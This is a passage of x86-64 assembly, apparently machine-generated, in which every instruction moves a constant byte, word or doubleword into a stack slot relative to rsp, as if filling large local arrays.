mov word [rsp + 0x2458], ax
mov byte [rsp + 0x57d], 0x78
mov byte [rsp + 0x57e], 0x76
mov eax, 0xd00
mov word [rsp + 0x245c], ax
mov dword [rsp + 0x9984], 0x459af7f1
mov dword [rsp + 0x9988], 0x2bc43d68
mov byte [rsp + 0x57f], 0x16
mov byte [rsp + 0x580], 0x20
mov dword [rsp + 0x998c], 0x6dfc5b88
mov byte [rsp + 0x581], 0x78
mov dword [rsp + 0x9990], 0x726e03e9
mov byte [rsp + 0x582], 0x4e
mov byte [rsp + 0x583], 0x97
mov dword [rsp + 0x9994], 0x27ba1864
mov byte [rsp + 0x584], 0xec
mov dword [rsp + 0x9998], 0xb28b
mov dword [rsp + 0x999c], 0x569e5597
mov byte [rsp + 0x585], 0x9c
mov dword [rsp + 0x99a0], 0xcf6f8c7
mov byte [rsp + 0x586], 0xf3
mov byte [rsp + 0x587], 0x39
mov dword [rsp + 0x99a4], 0xcfc2
mov dword [rsp + 0x99a8], 0x6aa4
mov dword [rsp + 0x99ac], 0x5ab9902
mov dword [rsp + 0x99b0], 0x14b5b911
mov byte [rsp + 0x588], 0x99
mov eax, 0x956
mov word [rsp + 0x2460], ax
mov dword [rsp + 0x99b4], 0x7ef68459
mov dword [rsp + 0x99b8], 0x8c2
mov dword [rsp + 0x99bc], 0x7229
mov dword [rsp + 0x99c0], 0xc4af
mov dword [rsp + 0x99c4], 0x3612
mov dword [rsp + 0x99c8], 0x1068cc11
mov dword [rsp + 0x99cc], 0xf35d9
mov dword [rsp + 0x99d0], 0x19ad2673
mov dword [rsp + 0x99d4], 0x55fc5fb5
mov eax, 0x5b9
mov word [rsp + 0x2464], ax
mov dword [rsp + 0x99d8], 0x1db5d6c6
mov dword [rsp + 0x99dc], 0x117c4770
mov dword [rsp + 0x99e0], 0x51eb5fb4
mov byte [rsp + 0x589], 0x5d
mov dword [rsp + 0x99e4], 0x7d83ca8b
mov eax, 0x9ea
mov word [rsp + 0x2468], ax
mov dword [rsp + 0x99e8], 0x819c
mov byte [rsp + 0x58a], 0x57
mov eax, 0x6bb
mov word [rsp + 0x246c], ax
mov dword [rsp + 0x99ec], 0x529621e
mov dword [rsp + 0x99f0], 0x4f0e0fbf
mov dword [rsp + 0x99f4], 0xc973
mov dword [rsp + 0x99f8], 0x1d93356a
mov byte [rsp + 0x58b], 0x1d
mov dword [rsp + 0x99fc], 0x104996ec
mov dword [rsp + 0x9a00], 0x40001299
mov dword [rsp + 0x9a04], 0x2db85dd2
mov dword [rsp + 0x9a08], 0x5dd250a
mov eax, 0xeb0
mov word [rsp + 0x2470], ax
mov dword [rsp + 0x9a0c], 0x66d5dfa3
mov byte [rsp + 0x58c], 6
mov dword [rsp + 0x9a10], 0x4f6f0d1f
mov dword [rsp + 0x9a14], 0x2d29cda6
mov dword [rsp + 0x9a18], 0xf206
mov dword [rsp + 0x9a1c], 0x5fa4ee9d
mov dword [rsp + 0x9a20], 0x7026ba89
mov byte [rsp + 0x58d], 0x91
mov eax, 0x2b8
mov word [rsp + 0x2474], ax
mov dword [rsp + 0x9a24], 0x2b26
mov byte [rsp + 0x58e], 6
mov dword [rsp + 0x9a28], 0x14edea67
mov eax, 0x4e5
mov word [rsp + 0x2478], ax
mov dword [rsp + 0x9a2c], 0x14dc1440
mov dword [rsp + 0x9a30], 0x545ee0eb
mov dword [rsp + 0x9a34], 0xa38fd53
mov dword [rsp + 0x9a38], 0x72a
mov byte [rsp + 0x58f], 0xa6
mov dword [rsp + 0x9a3c], 0x6ab755ee
mov dword [rsp + 0x9a40], 0x73c8415e
mov dword [rsp + 0x9a44], 0x528d00dc
mov dword [rsp + 0x9a48], 0x7db5
mov dword [rsp + 0x9a4c], 0x1199788b
mov dword [rsp + 0x9a50], 0x91f8
mov dword [rsp + 0x9a54], 0x241a
mov byte [rsp + 0x590], 0x7a
mov dword [rsp + 0x9a58], 0xe656
mov dword [rsp + 0x9a5c], 0xf2c3
mov eax, 0x778
mov word [rsp + 0x247c], ax
mov dword [rsp + 0x9a60], 0x67416a79
mov byte [rsp + 0x591], 0x31
mov dword [rsp + 0x9a64], 0xf729
mov dword [rsp + 0x9a68], 0x767debba
mov dword [rsp + 0x9a6c], 0x3fc0
mov byte [rsp + 0x592], 0xf0
mov dword [rsp + 0x9a70], 0x6c1c
mov dword [rsp + 0x9a74], 0x1b5d62ea
mov eax, 0xd45
mov word [rsp + 0x2480], ax
mov byte [rsp + 0x593], 0x3f
mov byte [rsp + 0x594], 0x59
mov dword [rsp + 0x9a78], 0x25d489b8
mov dword [rsp + 0x9a7c], 0x5b1a991a
mov dword [rsp + 0x9a80], 0x598f6a8b
mov eax, 0x145
mov word [rsp + 0x2484], ax
mov byte [rsp + 0x595], 0x34
mov dword [rsp + 0x9a84], 0x3ecd45d3
mov eax, 0xfb2
mov word [rsp + 0x2488], ax
mov dword [rsp + 0x9a88], 0x166c783f
mov dword [rsp + 0x9a8c], 0x1430ca86
mov byte [rsp + 0x596], 0x2f
mov dword [rsp + 0x9a90], 0x4493951a
mov byte [rsp + 0x597], 0xbf
mov dword [rsp + 0x9a94], 0x8bcd
mov eax, 0x6f8
mov word [rsp + 0x248c], ax
mov byte [rsp + 0x598], 0x45
mov dword [rsp + 0x9a98], 0x3699
mov eax, 0x492
mov word [rsp + 0x2490], ax
mov dword [rsp + 0x9a9c], 0xcec8
mov dword [rsp + 0x9aa0], 0x127b0a8b
mov dword [rsp + 0x9aa4], 0xec47
mov dword [rsp + 0x9aa8], 0x5bdb
mov dword [rsp + 0x9aac], 0x19b40515
mov byte [rsp + 0x599], 0xb3
mov eax, 0x31f
mov word [rsp + 0x2494], ax
mov dword [rsp + 0x9ab0], 0x671e0cdc
mov dword [rsp + 0x9ab4], 0x47bb
mov eax, 0xc7c
mov word [rsp + 0x2498], ax
mov byte [rsp + 0x59a], 0x30
mov dword [rsp + 0x9ab8], 0x27233508
mov byte [rsp + 0x59b], 0xab
mov dword [rsp + 0x9abc], 0x47809a87
mov dword [rsp + 0x9ac0], 0x47a9a2bf
mov eax, 0xf3b
mov word [rsp + 0x249c], ax
mov byte [rsp + 0x59c], 0x61
mov byte [rsp + 0x59d], 0x3c
mov dword [rsp + 0x9ac4], 0xb923
mov byte [rsp + 0x59e], 0xc3
mov dword [rsp + 0x9ac8], 0x2525
mov byte [rsp + 0x59f], 0xec
mov byte [rsp + 0x5a0], 0x1a
mov dword [rsp + 0x9acc], 0x7aa48b18
mov dword [rsp + 0x9ad0], 0x19677dd3
mov dword [rsp + 0x9ad4], 0x2353
mov dword [rsp + 0x9ad8], 0xc419
mov eax, 0x7cc
mov word [rsp + 0x24a0], ax
mov byte [rsp + 0x5a1], 5
mov dword [rsp + 0x9adc], 0x30fe5446
mov dword [rsp + 0x9ae0], 0xa671
mov dword [rsp + 0x9ae4], 0x63c72c00
mov dword [rsp + 0x9ae8], 0x3abd
mov eax, 0xf6f
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x9aec], 0x67e4dc00
mov dword [rsp + 0x9af0], 0x6193be92
mov dword [rsp + 0x9af4], 0xe135
mov dword [rsp + 0x9af8], 0x5217f888
mov dword [rsp + 0x9afc], 0x7071fd7e
mov byte [rsp + 0x5a2], 0x75
mov byte [rsp + 0x5a3], 0xf9
mov dword [rsp + 0x9b00], 0xeba7
mov dword [rsp + 0x9b04], 0x347a
mov eax, 0x543
mov word [rsp + 0x24a8], ax
mov byte [rsp + 0x5a4], 0xdb
mov byte [rsp + 0x5a5], 0x8c
mov byte [rsp + 0x5a6], 0xbe
mov dword [rsp + 0x9b08], 0x8265
mov dword [rsp + 0x9b0c], 0x68a
mov eax, 0x6bc
mov word [rsp + 0x24ac], ax
mov eax, 0x42
mov word [rsp + 0x24b0], ax
mov dword [rsp + 0x9b10], 0x236a
mov dword [rsp + 0x9b14], 0xcd2c
mov eax, 0x275
mov word [rsp + 0x24b4], ax
mov dword [rsp + 0x9b18], 0x76fd3465
mov dword [rsp + 0x9b1c], 0x6dd7e2d1
mov eax, 0x312
mov word [rsp + 0x24b8], ax
mov dword [rsp + 0x9b20], 0x50487100
mov byte [rsp + 0x5a7], 0x59
mov dword [rsp + 0x9b24], 0x2f72aa90
mov dword [rsp + 0x9b28], 0x5773839e
mov byte [rsp + 0x5a8], 0x42
mov eax, 0xb01
mov word [rsp + 0x24bc], ax
mov dword [rsp + 0x9b2c], 0x275e7d98
mov dword [rsp + 0x9b30], 0x338afbe6
mov byte [rsp + 0x5a9], 0x7d
mov dword [rsp + 0x9b34], 0xd187
mov dword [rsp + 0x9b38], 0x503345de
mov byte [rsp + 0x5aa], 0x58
mov eax, 0x316
mov word [rsp + 0x24c0], ax
mov byte [rsp + 0x5ab], 0xe8
mov dword [rsp + 0x9b3c], 0x7de35f6c
mov byte [rsp + 0x5ac], 0x30
mov byte [rsp + 0x5ad], 0xf3
mov eax, 0x259
mov word [rsp + 0x24c4], ax
mov eax, 0xccd
mov word [rsp + 0x24c8], ax
mov byte [rsp + 0x5ae], 7
mov dword [rsp + 0x9b40], 0x1b15
mov dword [rsp + 0x9b44], 0x80efe6c
mov dword [rsp + 0x9b48], 0x4e757f8a
mov eax, 0x6d6
mov word [rsp + 0x24cc], ax
mov dword [rsp + 0x9b4c], 0x6cadb8a9
mov eax, 0x435
mov word [rsp + 0x24d0], ax
mov eax, 0xf61
mov word [rsp + 0x24d4], ax
mov dword [rsp + 0x9b50], 0x2b4b
mov dword [rsp + 0x9b54], 0xc73b
mov dword [rsp + 0x9b58], 0x9d31
mov dword [rsp + 0x9b5c], 0x8bbe
mov dword [rsp + 0x9b60], 0x70854b26
mov dword [rsp + 0x9b64], 0x6a30
mov eax, 0x698
mov word [rsp + 0x24d8], ax
mov dword [rsp + 0x9b68], 0x2be95f9f
mov dword [rsp + 0x9b6c], 0x36cc6f3b
mov dword [rsp + 0x9b70], 0xb527021
mov dword [rsp + 0x9b74], 0xb6eb5d8
mov dword [rsp + 0x9b78], 0x585e
mov dword [rsp + 0x9b7c], 0x5e68
mov eax, 0xfd5
mov word [rsp + 0x24dc], ax
mov byte [rsp + 0x5af], 0x5f
mov dword [rsp + 0x9b80], 0x72236a83
mov eax, 0xeb0
mov word [rsp + 0x24e0], ax
mov dword [rsp + 0x9b84], 0x64b21dca
mov dword [rsp + 0x9b88], 0x8ffa
mov dword [rsp + 0x9b8c], 0xf183
mov dword [rsp + 0x9b90], 0xf4a3194
mov byte [rsp + 0x5b0], 0x89
mov dword [rsp + 0x9b94], 0x74c27458
mov byte [rsp + 0x5b1], 0x61
mov dword [rsp + 0x9b98], 0x26fa4ac0
mov dword [rsp + 0x9b9c], 0x3865
mov eax, 0x43c
mov word [rsp + 0x24e4], ax
mov byte [rsp + 0x5b2], 0x93
mov dword [rsp + 0x9ba0], 0x5f2701b8
mov byte [rsp + 0x5b3], 0xdd
mov eax, 0x482
mov word [rsp + 0x24e8], ax
mov byte [rsp + 0x5b4], 0xf0
mov dword [rsp + 0x9ba4], 0x2008ca14
mov eax, 0x911
mov word [rsp + 0x24ec], ax
mov dword [rsp + 0x9ba8], 0x165c
mov dword [rsp + 0x9bac], 0x6eb4
mov dword [rsp + 0x9bb0], 0xc0c3
mov byte [rsp + 0x5b5], 0x23
mov dword [rsp + 0x9bb4], 0x2ac61f33
mov dword [rsp + 0x9bb8], 0x35dfe60d
mov dword [rsp + 0x9bbc], 0xa934
mov dword [rsp + 0x9bc0], 0x5a0dc91c
mov byte [rsp + 0x5b6], 0x54
mov byte [rsp + 0x5b7], 0x89
mov dword [rsp + 0x9bc4], 0xd8d75c2
mov eax, 0x43d
mov word [rsp + 0x24f0], ax
mov byte [rsp + 0x5b8], 0xbd
mov dword [rsp + 0x9bc8], 0x58e1
mov eax, 0xfc9
mov word [rsp + 0x24f4], ax
mov dword [rsp + 0x9bcc], 0xd5f8
mov dword [rsp + 0x9bd0], 0xd38e
mov dword [rsp + 0x9bd4], 0x50b4
mov dword [rsp + 0x9bd8], 0xc67d
mov dword [rsp + 0x9bdc], 0x7343bab7
mov eax, 0x217
mov word [rsp + 0x24f8], ax
mov dword [rsp + 0x9be0], 0x19b
mov eax, 0x452
mov word [rsp + 0x24fc], ax
mov dword [rsp + 0x9be4], 0x7623b32b
mov dword [rsp + 0x9be8], 0xd97a
mov dword [rsp + 0x9bec], 0x4ba1
mov dword [rsp + 0x9bf0], 0x5e44d09d
mov dword [rsp + 0x9bf4], 0x5ea1
mov dword [rsp + 0x9bf8], 0x4b1a
mov eax, 0x102
mov word [rsp + 0x2500], ax
mov dword [rsp + 0x9bfc], 0x4dd8
mov dword [rsp + 0x9c00], 0x61ad
mov dword [rsp + 0x9c04], 0x5bbe
mov dword [rsp + 0x9c08], 0x62ca
mov dword [rsp + 0x9c0c], 0x5a5e0ef6
mov dword [rsp + 0x9c10], 0x36e30197
mov dword [rsp + 0x9c14], 0x62d4c321
mov dword [rsp + 0x9c18], 0xa9d
mov dword [rsp + 0x9c1c], 0x1426945b
mov byte [rsp + 0x5b9], 0x3b
mov eax, 0x36c
mov word [rsp + 0x2504], ax
mov eax, 0xfd7
mov word [rsp + 0x2508], ax
mov byte [rsp + 0x5ba], 0x27
mov dword [rsp + 0x9c20], 0x1719
mov dword [rsp + 0x9c24], 0xdb4e
mov dword [rsp + 0x9c28], 0x485fbdc
mov dword [rsp + 0x9c2c], 0x28b3fb43
mov dword [rsp + 0x9c30], 0x204b9c27
mov eax, 0xa5a
mov word [rsp + 0x250c], ax
mov dword [rsp + 0x9c34], 0x2e2c14b4
mov dword [rsp + 0x9c38], 0x7dd3
mov dword [rsp + 0x9c3c], 0xbcc6
mov dword [rsp + 0x9c40], 0x5581d0dd
mov dword [rsp + 0x9c44], 0x64620fe9
mov dword [rsp + 0x9c48], 0x4f19e5fd
mov dword [rsp + 0x9c4c], 0x5b41d31a
mov dword [rsp + 0x9c50], 0x56cb5a7
mov dword [rsp + 0x9c54], 0xb3b6839
mov dword [rsp + 0x9c58], 0x5ab188f3
mov dword [rsp + 0x9c5c], 0xff76d25
mov dword [rsp + 0x9c60], 0xadb4
mov eax, 0x6e9
mov word [rsp + 0x2510], ax
mov dword [rsp + 0x9c64], 0x7230687e
mov dword [rsp + 0x9c68], 0x35ad48d6
mov dword [rsp + 0x9c6c], 0x17e85f74
mov eax, 0xeca
mov word [rsp + 0x2514], ax
mov eax, 0xa36
mov word [rsp + 0x2518], ax
mov byte [rsp + 0x5bb], 0x51
mov dword [rsp + 0x9c70], 0x125c2ddc
mov dword [rsp + 0x9c74], 0xa278
mov dword [rsp + 0x9c78], 0x30e6de6b
mov byte [rsp + 0x5bc], 0
mov dword [rsp + 0x9c7c], 0xd23f
mov dword [rsp + 0x9c80], 0x325d9bfa
mov dword [rsp + 0x9c84], 0x4acfac63
mov byte [rsp + 0x5bd], 0x58
mov dword [rsp + 0x9c88], 0x7daabb38
mov dword [rsp + 0x9c8c], 0x6a2b17f7
mov byte [rsp + 0x5be], 0x9a
mov byte [rsp + 0x5bf], 0x3f
mov dword [rsp + 0x9c90], 0x213d45c5
mov dword [rsp + 0x9c94], 0x6cc1526e
mov byte [rsp + 0x5c0], 7
mov byte [rsp + 0x5c1], 0x5c
mov dword [rsp + 0x9c98], 0x650f07eb
mov dword [rsp + 0x9c9c], 0x3f4e
mov byte [rsp + 0x5c2], 0x28
mov eax, 0xd5
mov word [rsp + 0x251c], ax
mov dword [rsp + 0x9ca0], 0x4137ab4a
mov eax, 0xaa1
mov word [rsp + 0x2520], ax
mov dword [rsp + 0x9ca4], 0x2053
mov dword [rsp + 0x9ca8], 0xd5a4
mov dword [rsp + 0x9cac], 0x30f2
mov eax, 0x337
mov word [rsp + 0x2524], ax
mov eax, 0x9f8
mov word [rsp + 0x2528], ax
mov dword [rsp + 0x9cb0], 0x78428fa2
mov dword [rsp + 0x9cb4], 0x672f48fe
mov byte [rsp + 0x5c3], 0x47
mov dword [rsp + 0x9cb8], 0x75c8
mov dword [rsp + 0x9cbc], 0x5f9a
mov dword [rsp + 0x9cc0], 0x7913
mov eax, 0x788
mov word [rsp + 0x252c], ax
mov eax, 0x37a
mov word [rsp + 0x2530], ax
mov dword [rsp + 0x9cc4], 0x18936b92
mov dword [rsp + 0x9cc8], 0x7728f9f5
mov eax, 0x69
mov word [rsp + 0x2534], ax
mov eax, 0x200
mov word [rsp + 0x2538], ax
mov eax, 0x7f7
mov word [rsp + 0x253c], ax
mov dword [rsp + 0x9ccc], 0x473f
mov dword [rsp + 0x9cd0], 0x5d80d37d
mov dword [rsp + 0x9cd4], 0x10bfe6a0
mov dword [rsp + 0x9cd8], 0x6ca8cef
mov dword [rsp + 0x9cdc], 0x7428b042
mov dword [rsp + 0x9ce0], 0xb802
mov dword [rsp + 0x9ce4], 0x320af6eb
mov dword [rsp + 0x9ce8], 0x6de870df
mov eax, 0xdfb
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x9cec], 0x93
mov eax, 0x4c0
mov word [rsp + 0x2544], ax
mov dword [rsp + 0x9cf0], 0x105186f4
mov dword [rsp + 0x9cf4], 0x48497a3f
mov dword [rsp + 0x9cf8], 0x5b1943c8
mov dword [rsp + 0x9cfc], 0x1dde0061
mov dword [rsp + 0x9d00], 0xb02d
mov dword [rsp + 0x9d04], 0x295a
mov dword [rsp + 0x9d08], 0x69f6c90a
mov byte [rsp + 0x5c4], 0x78
mov dword [rsp + 0x9d0c], 0x9eb6
mov byte [rsp + 0x5c5], 4
mov eax, 0x7fa
mov word [rsp + 0x2548], ax
mov dword [rsp + 0x9d10], 0x7062c1ef
mov byte [rsp + 0x5c6], 0x14
mov dword [rsp + 0x9d14], 0x4e7e
mov dword [rsp + 0x9d18], 0x16dd8da9
mov dword [rsp + 0x9d1c], 0x52ee
mov dword [rsp + 0x9d20], 0x7060eb84
mov dword [rsp + 0x9d24], 0x3c5ff863
mov byte [rsp + 0x5c7], 0xa9
mov eax, 0x571
mov word [rsp + 0x254c], ax
mov dword [rsp + 0x9d28], 0x2a5ab570
mov dword [rsp + 0x9d2c], 0x1061
mov byte [rsp + 0x5c8], 0x32
mov byte [rsp + 0x5c9], 0x4c
mov dword [rsp + 0x9d30], 0xe1d8
mov byte [rsp + 0x5ca], 0x7d
mov eax, 0x18c
mov word [rsp + 0x2550], ax
mov dword [rsp + 0x9d34], 0x52d40f50
mov dword [rsp + 0x9d38], 0x65d98788
mov eax, 0x36b
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x9d3c], 0x294590aa
mov byte [rsp + 0x5cb], 0xbc
mov dword [rsp + 0x9d40], 0xd443
mov eax, 0x499
mov word [rsp + 0x2558], ax
mov dword [rsp + 0x9d44], 0x2857117
mov dword [rsp + 0x9d48], 0x7a721490
mov dword [rsp + 0x9d4c], 0xff61
mov dword [rsp + 0x9d50], 0x53b
mov dword [rsp + 0x9d54], 0xdc72
mov dword [rsp + 0x9d58], 0x72e63ccb
mov byte [rsp + 0x5cc], 0x77
mov dword [rsp + 0x9d5c], 0xf7ba
mov dword [rsp + 0x9d60], 0x6c014245
mov dword [rsp + 0x9d64], 0x779c4f2f
mov dword [rsp + 0x9d68], 0x183420b7
mov eax, 0x3f5
mov word [rsp + 0x255c], ax
mov eax, 0x313
mov word [rsp + 0x2560], ax
mov dword [rsp + 0x9d6c], 0x13870593
mov dword [rsp + 0x9d70], 0xe385
mov byte [rsp + 0x5cd], 0xb1
mov dword [rsp + 0x9d74], 0xd1d8
mov dword [rsp + 0x9d78], 0x10a088d2
mov dword [rsp + 0x9d7c], 0x5c9d2c82
mov byte [rsp + 0x5ce], 0x2a
mov byte [rsp + 0x5cf], 0xb2
mov dword [rsp + 0x9d80], 0x1c634117
mov byte [rsp + 0x5d0], 0x4d
mov byte [rsp + 0x5d1], 0xc8
mov eax, 0x786
mov word [rsp + 0x2564], ax
mov dword [rsp + 0x9d84], 0x9a40f5e
mov eax, 0x808
mov word [rsp + 0x2568], ax
mov byte [rsp + 0x5d2], 0xd
mov eax, 0x3f5
mov word [rsp + 0x256c], ax
mov eax, 0xd5
mov word [rsp + 0x2570], ax
mov byte [rsp + 0x5d3], 9
mov dword [rsp + 0x9d88], 0x77849190
mov byte [rsp + 0x5d4], 0xe2
mov eax, 0xc38
mov word [rsp + 0x2574], ax
mov byte [rsp + 0x5d5], 0xe
mov eax, 0xe96
mov word [rsp + 0x2578], ax
mov dword [rsp + 0x9d8c], 0x1d16
mov dword [rsp + 0x9d90], 0x8617
mov dword [rsp + 0x9d94], 0x51a559f0
mov dword [rsp + 0x9d98], 0x359d81a0
mov byte [rsp + 0x5d6], 0x29
mov eax, 0x245
mov word [rsp + 0x257c], ax
mov dword [rsp + 0x9d9c], 0x4e3e8309
mov dword [rsp + 0x9da0], 0x5d0e
mov dword [rsp + 0x9da4], 0x2e3f0164
mov dword [rsp + 0x9da8], 0x382
mov eax, 0x97d
mov word [rsp + 0x2580], ax
mov eax, 0xa12
mov word [rsp + 0x2584], ax
mov dword [rsp + 0x9dac], 0x5324
mov dword [rsp + 0x9db0], 0x20947d95
mov eax, 0xf13
mov word [rsp + 0x2588], ax
mov dword [rsp + 0x9db4], 0x63419b5c
mov dword [rsp + 0x9db8], 0x6c5ebeaa
mov eax, 5
mov word [rsp + 0x258c], ax
mov byte [rsp + 0x5d7], 0x4e
mov eax, 0x19e
mov word [rsp + 0x2590], ax
mov dword [rsp + 0x9dbc], 0x12d8054d
mov byte [rsp + 0x5d8], 0x2d
mov dword [rsp + 0x9dc0], 0xd028
mov dword [rsp + 0x9dc4], 0x1095f535
mov eax, 0x9a2
mov word [rsp + 0x2594], ax
mov dword [rsp + 0x9dc8], 0x540af487
mov dword [rsp + 0x9dcc], 0x3d0b795f
mov dword [rsp + 0x9dd0], 0xb896
mov eax, 0x9a2
mov word [rsp + 0x2598], ax
mov eax, 0x2a7
mov word [rsp + 0x259c], ax
mov byte [rsp + 0x5d9], 0xb1
mov byte [rsp + 0x5da], 0xd7
mov dword [rsp + 0x9dd4], 0x5ba5
mov eax, 0x159
mov word [rsp + 0x25a0], ax
mov byte [rsp + 0x5db], 0x75
mov dword [rsp + 0x9dd8], 0x77cbf1a8
mov byte [rsp + 0x5dc], 0x76
mov dword [rsp + 0x9ddc], 0x55b6
mov dword [rsp + 0x9de0], 0x8a780fc
mov dword [rsp + 0x9de4], 0xc60d
mov dword [rsp + 0x9de8], 0x1c3a3ac8
mov eax, 0x1ae
mov word [rsp + 0x25a4], ax
mov eax, 0x7b0
mov word [rsp + 0x25a8], ax
mov dword [rsp + 0x9dec], 0x4a7a0f9e
mov dword [rsp + 0x9df0], 0x1c8e9812
mov eax, 0xe0a
mov word [rsp + 0x25ac], ax
mov dword [rsp + 0x9df4], 0x6cd1
mov eax, 0x691
mov word [rsp + 0x25b0], ax
mov dword [rsp + 0x9df8], 0x76fb5afa
mov byte [rsp + 0x5dd], 0x1e
mov dword [rsp + 0x9dfc], 0xe0dca9a
mov dword [rsp + 0x9e00], 0x91ef
mov eax, 0x6da
mov word [rsp + 0x25b4], ax
mov dword [rsp + 0x9e04], 0x71fab8f4
mov dword [rsp + 0x9e08], 0x28fa88cc
mov dword [rsp + 0x9e0c], 0x6d29
mov dword [rsp + 0x9e10], 0xf5db
mov dword [rsp + 0x9e14], 0x72bfbde9
mov byte [rsp + 0x5de], 0xa2
mov byte [rsp + 0x5df], 0x21
mov eax, 0xb74
mov word [rsp + 0x25b8], ax
mov dword [rsp + 0x9e18], 0x6cfe03c4
mov dword [rsp + 0x9e1c], 0x4dc5
mov byte [rsp + 0x5e0], 0x9c
mov byte [rsp + 0x5e1], 0x7d
mov dword [rsp + 0x9e20], 0x67f90391
mov dword [rsp + 0x9e24], 0x4a3d177
mov byte [rsp + 0x5e2], 0x6d
mov dword [rsp + 0x9e28], 0x5277b1df
mov byte [rsp + 0x5e3], 0x36
mov byte [rsp + 0x5e4], 0x6f
mov eax, 0xbbd
mov word [rsp + 0x25bc], ax
mov byte [rsp + 0x5e5], 0xce
mov dword [rsp + 0x9e2c], 0x4da85635
mov dword [rsp + 0x9e30], 0x2dd0ba49
mov dword [rsp + 0x9e34], 0x327d
mov dword [rsp + 0x9e38], 0x97a8758
mov dword [rsp + 0x9e3c], 0x791305c6
mov eax, 0x8c9
mov word [rsp + 0x25c0], ax
mov eax, 0xc54
mov word [rsp + 0x25c4], ax
mov dword [rsp + 0x9e40], 0x75944b89
mov dword [rsp + 0x9e44], 0x1bdef16d
mov dword [rsp + 0x9e48], 0x2c4c7b70
mov byte [rsp + 0x5e6], 0x6c
mov dword [rsp + 0x9e4c], 0x1469
mov byte [rsp + 0x5e7], 0x39
mov byte [rsp + 0x5e8], 0x44
mov byte [rsp + 0x5e9], 0xe2
mov eax, 0xe10
mov word [rsp + 0x25c8], ax
mov dword [rsp + 0x9e50], 0xb1d0
mov dword [rsp + 0x9e54], 0x4559
mov eax, 0x26d
mov word [rsp + 0x25cc], ax
mov byte [rsp + 0x5ea], 0x76
mov eax, 0x8e3
mov word [rsp + 0x25d0], ax
mov dword [rsp + 0x9e58], 0x22dc3c0b
mov byte [rsp + 0x5eb], 0xe3
mov eax, 0x398
mov word [rsp + 0x25d4], ax
mov byte [rsp + 0x5ec], 0x1b
mov dword [rsp + 0x9e5c], 0xf476
mov dword [rsp + 0x9e60], 0x23fa7e9
mov eax, 0x5af
mov word [rsp + 0x25d8], ax
mov byte [rsp + 0x5ed], 0x1a
mov byte [rsp + 0x5ee], 0x95
mov dword [rsp + 0x9e64], 0x3b1f0252
mov dword [rsp + 0x9e68], 0xf4162bb
mov dword [rsp + 0x9e6c], 0x2c4c
mov dword [rsp + 0x9e70], 0x794c
mov dword [rsp + 0x9e74], 0x632c4a9a
mov eax, 0x662
mov word [rsp + 0x25dc], ax
mov eax, 0xa0e
mov word [rsp + 0x25e0], ax
mov dword [rsp + 0x9e78], 0xa21e450
mov dword [rsp + 0x9e7c], 0x52c66380
mov dword [rsp + 0x9e80], 0x875d
mov dword [rsp + 0x9e84], 0x75b50dba
mov dword [rsp + 0x9e88], 0x313825ca
mov dword [rsp + 0x9e8c], 0xfdcb
mov dword [rsp + 0x9e90], 0x51dd08e4
mov dword [rsp + 0x9e94], 0x4ca56ac6
mov dword [rsp + 0x9e98], 0xd864f7d
mov byte [rsp + 0x5ef], 0x29
mov dword [rsp + 0x9e9c], 0x7d67
mov dword [rsp + 0x9ea0], 0x52e43a05
mov dword [rsp + 0x9ea4], 0x9f2c151
mov dword [rsp + 0x9ea8], 0x2778fb26
mov dword [rsp + 0x9eac], 0xc797
mov eax, 0xfe1
mov word [rsp + 0x25e4], ax
mov eax, 0xc1d
mov word [rsp + 0x25e8], ax
mov dword [rsp + 0x9eb0], 0x919b
mov byte [rsp + 0x5f0], 0xa7
mov dword [rsp + 0x9eb4], 0x2dad7d9c
mov dword [rsp + 0x9eb8], 0xbf2
mov eax, 0x6e0
mov word [rsp + 0x25ec], ax
mov dword [rsp + 0x9ebc], 0x56bd753e
mov eax, 0x43a
mov word [rsp + 0x25f0], ax
mov dword [rsp + 0x9ec0], 0x6cd2
mov byte [rsp + 0x5f1], 0x53
mov dword [rsp + 0x9ec4], 0x8456
mov byte [rsp + 0x5f2], 0x51
mov eax, 0xd44
mov word [rsp + 0x25f4], ax
mov eax, 0x5d2
mov word [rsp + 0x25f8], ax
mov dword [rsp + 0x9ec8], 0xfbae
mov dword [rsp + 0x9ecc], 0x744ba6f7
mov eax, 0xb5a
mov word [rsp + 0x25fc], ax
mov dword [rsp + 0x9ed0], 0x7901e506
mov eax, 0x27f
mov word [rsp + 0x2600], ax
mov dword [rsp + 0x9ed4], 0x40bea772
mov dword [rsp + 0x9ed8], 0x2a2aadb8
mov byte [rsp + 0x5f3], 0xcc
mov eax, 0x1b
mov word [rsp + 0x2604], ax
mov dword [rsp + 0x9edc], 0x45325a6
mov byte [rsp + 0x5f4], 0xbf
mov dword [rsp + 0x9ee0], 0x228b
mov eax, 0x7f5
mov word [rsp + 0x2608], ax
mov byte [rsp + 0x5f5], 0x63
mov dword [rsp + 0x9ee4], 0x60810f45
mov eax, 0x50c
mov word [rsp + 0x260c], ax
mov byte [rsp + 0x5f6], 0x41
mov byte [rsp + 0x5f7], 0x30
mov dword [rsp + 0x9ee8], 0x171105ff
mov dword [rsp + 0x9eec], 0x6825f37b
mov eax, 0x9f2
mov word [rsp + 0x2610], ax
mov dword [rsp + 0x9ef0], 0x44e8
mov eax, 0xdfa
mov word [rsp + 0x2614], ax
mov dword [rsp + 0x9ef4], 0x8ce8bc3
mov dword [rsp + 0x9ef8], 0x214df40e
mov dword [rsp + 0x9efc], 0x32df05fa
mov byte [rsp + 0x5f8], 0xa8
mov dword [rsp + 0x9f00], 0xd799
mov byte [rsp + 0x5f9], 0x30
mov byte [rsp + 0x5fa], 0xad
mov byte [rsp + 0x5fb], 0xa7
mov eax, 0xbca
mov word [rsp + 0x2618], ax
mov dword [rsp + 0x9f04], 0x6da4511a
mov byte [rsp + 0x5fc], 0x81
mov dword [rsp + 0x9f08], 0x46146220
mov dword [rsp + 0x9f0c], 0xc2d6
mov byte [rsp + 0x5fd], 0x7c
mov eax, 0x4b1
mov word [rsp + 0x261c], ax
mov eax, 0x242
mov word [rsp + 0x2620], ax
mov dword [rsp + 0x9f10], 0xe854
mov eax, 0x6f8
mov word [rsp + 0x2624], ax
mov dword [rsp + 0x9f14], 0x565d35cc
mov dword [rsp + 0x9f18], 0x1e352c35
mov dword [rsp + 0x9f1c], 0x3f3
mov dword [rsp + 0x9f20], 0x3af33cfa
mov byte [rsp + 0x5fe], 0xb1
mov dword [rsp + 0x9f24], 0x5ace7ebf
mov dword [rsp + 0x9f28], 0x4d30
mov byte [rsp + 0x5ff], 0xac
